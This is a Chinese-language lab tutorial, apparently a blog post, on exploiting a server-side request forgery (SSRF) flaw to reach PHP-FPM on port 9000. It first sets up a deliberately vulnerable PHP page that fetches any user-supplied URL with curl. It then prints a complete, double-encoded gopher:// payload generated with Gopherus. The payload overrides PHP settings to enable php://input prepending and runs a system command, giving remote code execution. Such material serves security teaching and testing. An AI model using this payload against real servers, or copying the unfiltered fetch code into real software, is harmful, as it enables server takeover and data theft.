目录
环境搭建
在你的网站目录下创建一个新的php文件,内容如下
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);
echo $responseText;
curl_close($curl);
?>
创建后的结果
这里我们环境是有9000端口的,如果没有的可以安装一下
漏洞点寻找
首先代码中对url的输入没有一点过滤,很明显的一个ssrf漏洞
然后假设我们现在是攻击者
我们先看一下web.php的请求头,发现是nginx,然后这还是一个php页面。一般来说这个这个搭配使用的是php-fpm。然后如果是php-fpm的话大概率端口就在9000。
上面是合理的猜测,当然你也可以尝试用nmap扫描一下,扫出来没有不一定真没有,有可能人家的9000端口绑定在127.0.0.1上,这样你扫描他的IP是扫不出来的
开始攻击
经过上面合理猜测,现在就是认为目标主机开放了php-fpm9000端口开始攻击
使用gopherus工具生成payload
下面来看一下payload解码后的内容,就是我们php-fpm未授权访问的两个字段
现在进行二次编码然后进行攻击
gopher%3a%2f%2f127.0.0.1%3a9000%2f_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fusr%2fshare%2fphp%2fPEAR.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500